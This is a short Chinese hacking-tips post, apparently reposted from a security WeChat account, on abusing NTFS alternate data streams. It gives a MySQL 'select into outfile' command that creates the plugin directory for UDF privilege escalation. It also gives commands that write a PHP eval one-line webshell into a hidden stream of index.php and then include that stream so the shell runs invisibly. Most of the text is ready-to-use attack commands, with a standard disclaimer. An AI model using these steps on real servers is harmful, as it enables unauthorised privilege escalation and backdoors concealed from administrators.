这个其实是NTFS惹的祸。NTFS中的ADS(交换数据流)可以建立目录,隐藏webshell等等。
0x01 Mysql创建目录
当MySQL版本较高时,自定义函数的dll需要放在mysql目录下的libplugin。一般普通的脚本是没有在这个文件夹下创建文件夹的权限的。这里可以用到ads来突破:
-
select 'xxx' into outfile 'D:\mysql\lib::$INDEX_ALLOCATION';
会在mysql目录下生成一个lib目录,这样你就可以将你的udf放在这个插件目录下了。
0x02 隐藏webshell
在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:
-
echo ^<?php @eval(request[xxx])?^> > index.php:a.jpg
这样子就生成了一个不可见的shell a.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个a.jpg的。我们可以在另外一个正常文件里把这个ADS文件include进去,<?php include(‘index.php:a.jpg’)?>,这样子就可以正常解析我们的一句话了。
其他ads的利用各位可以参考互联网。
本文始发于微信公众号(T00ls):Win下MySQL提权时无法创建目录解决办法及数据流隐藏Webshell
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论